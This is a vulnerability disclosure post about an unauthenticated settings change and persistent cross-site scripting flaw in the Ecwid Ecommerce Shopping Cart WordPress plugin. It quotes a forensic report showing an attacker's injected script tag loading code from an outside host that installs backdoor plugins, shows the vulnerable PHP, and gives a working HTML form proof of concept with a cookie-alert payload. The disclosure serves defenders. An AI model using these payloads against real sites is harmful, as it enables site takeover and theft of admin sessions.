8 Oct 2021

Vulnerability Details: Multiple in Ecwid Ecommerce Shopping Cart

Sometimes our new firewall plugin for WordPress works a little too well. Earlier today we had someone try to contact us about a vulnerability in the WordPress plugin Ecwid Ecommerce Shopping Cart, but the firewall blocked their attempt to use our contact form from being processed due to including JavaScript code that a hacker had used on a website. The logging of the firewall did log the message they sent:

Thought you might be interested in what appears to be a previously unknown vulnerability in the current (6.10.14) version of the “ecwid-shopping-cart” plugin. I just now contacted the author of it with this info, but here you go: —————— I work for a hosting company that had a site hacked by what appears to be a vulnerability in your ecwid-shopping-cart plugin. The forensics of the exploit was that this POST request: 109.70.100.33 – – [07/Oct/2021:04:57:48 -0700] “POST /wp-admin/admin-post.php HTTP/1.1” 301 637 “-” “Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36″ Caused this MySQL change: UPDATE `wp_options` SET `option_value` = ‘\\\”></script> <script defer src=https://minxca.site/4.js?c=13359151></script><script’ WHERE `option_name` = ‘ecwid_store_id’ After that option is set, the next login from the admin runs the code in that malicious script, which installs new malicious backdoor plugins. The bug in ecwid-shopping-cart that allows this option to be updated appears to be this code path in “ecwid-shopping-cart.php”: ============================================================ if ( is_admin() ) { … add_action( ‘admin_init’, ‘ecwid_settings_api_init’ ); ———————————————————— function ecwid_settings_api_init() { … if ( isset( $_POST[‘ecwid_store_id’] ) ) { ecwid_update_store_id( $_POST[‘ecwid_store_id’] ); ———————————————————— function ecwid_update_store_id( $new_store_id ) { … update_option( ‘ecwid_store_id’, $new_store_id ); ============================================================ So the only thing preventing anyone from POSTing a malicious value for ecwid_store_id is the “is_admin()” check, but see <https://dev.to/lucagrandicelli/why-isadmin-is-totally-unsafe-for-your-wordpress-development-1le1>, “is_admin() is not intended to be used for security checks”.

We checked over things and confirmed what they mentioned.

The function ecwid_settings_api_init() is run if is_admin() is true and admin_init is occurring:

47
48
49
50
51
if ( is_admin() ) {
	add_action( 'init', 'ecwid_apply_theme', 0 );
	add_action( 'init', 'ecwid_maybe_remove_emoji' );
 
	add_action( 'admin_init', 'ecwid_settings_api_init' );

Both of those will occur if /wp-admin/admin-post.php is accessed when not logged in.

That function makes various settings changes, including changing the WordPress option ecwid_store_id:

2073
2074
2075
2076
2077
2078
2079
2080
2081
2082
2083
2084
2085
2086
2087
2088
2089
2090
2091
2092
2093
2094
2095
2096
2097
2098
2099
2100
2101
2102
2103
2104
2105
2106
2107
2108
2109
2110
function ecwid_settings_api_init() {
 
    if ( isset( $_POST['settings_section'] ) ) {
		switch ( $_POST['settings_section'] ) {
			case 'general':
				register_setting( 'ecwid_options_page', 'ecwid_store_id', 'ecwid_abs_intval' );
				if ( isset( $_POST['ecwid_store_id'] ) &amp;&amp; intval( $_POST['ecwid_store_id'] ) == 0 ) {
					Ecwid_Message_Manager::reset_hidden_messages();
				}
				break;
 
			case 'advanced':
				register_setting( 'ecwid_options_page', 'ecwid_default_category_id', 'ecwid_abs_intval' );
				register_setting( 'ecwid_options_page', 'ecwid_sso_secret_key' );
				register_setting( 'ecwid_options_page', 'ecwid_is_sso_enabled' );
				break;
		}
 
        if ($_POST['settings_section'] == 'advanced' &amp;&amp; isset($_POST[Ecwid_Products::OPTION_ENABLED]) &amp;&amp; !Ecwid_Products::is_enabled()) {
            Ecwid_Products::enable();
        } else if ($_POST['settings_section'] == 'advanced' &amp;&amp; !isset($_POST[Ecwid_Products::OPTION_ENABLED]) &amp;&amp; Ecwid_Products::is_enabled()) {
            Ecwid_Products::disable();
        }
 
		if ($_POST['settings_section'] == 'advanced' &amp;&amp; !@$_POST['ecwid_is_sso_enabled']) {
			update_option('ecwid_sso_secret_key', '');
		}
	}
 
	if ( isset( $_POST['ecwid_store_id'] ) ) {
 
    	ecwid_update_store_id( $_POST['ecwid_store_id'] );
		update_option('ecwid_last_oauth_fail_time', 0);
		update_option('ecwid_connected_via_legacy_page_time', time());
	}
 
 
}

That code allows both making settings changes, as well, as the hacker had done, persistent cross-site scripting (XSS)

Proof of Concept of Cross-Site Scripting (XSS)

The following proof of concept will cause an alert box with any available cookies to be shown on the plugin’s store page (and possibly other places).

Replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-post.php"  method="POST">
<input type="hidden" name="settings_section" value="poc" />
<input type="hidden" name="ecwid_store_id" value='"><script>alert(document.cookie);</script>' />
<input type="submit" value="Submit" />
</form>
</body>

Leave a Reply

Your email address will not be published.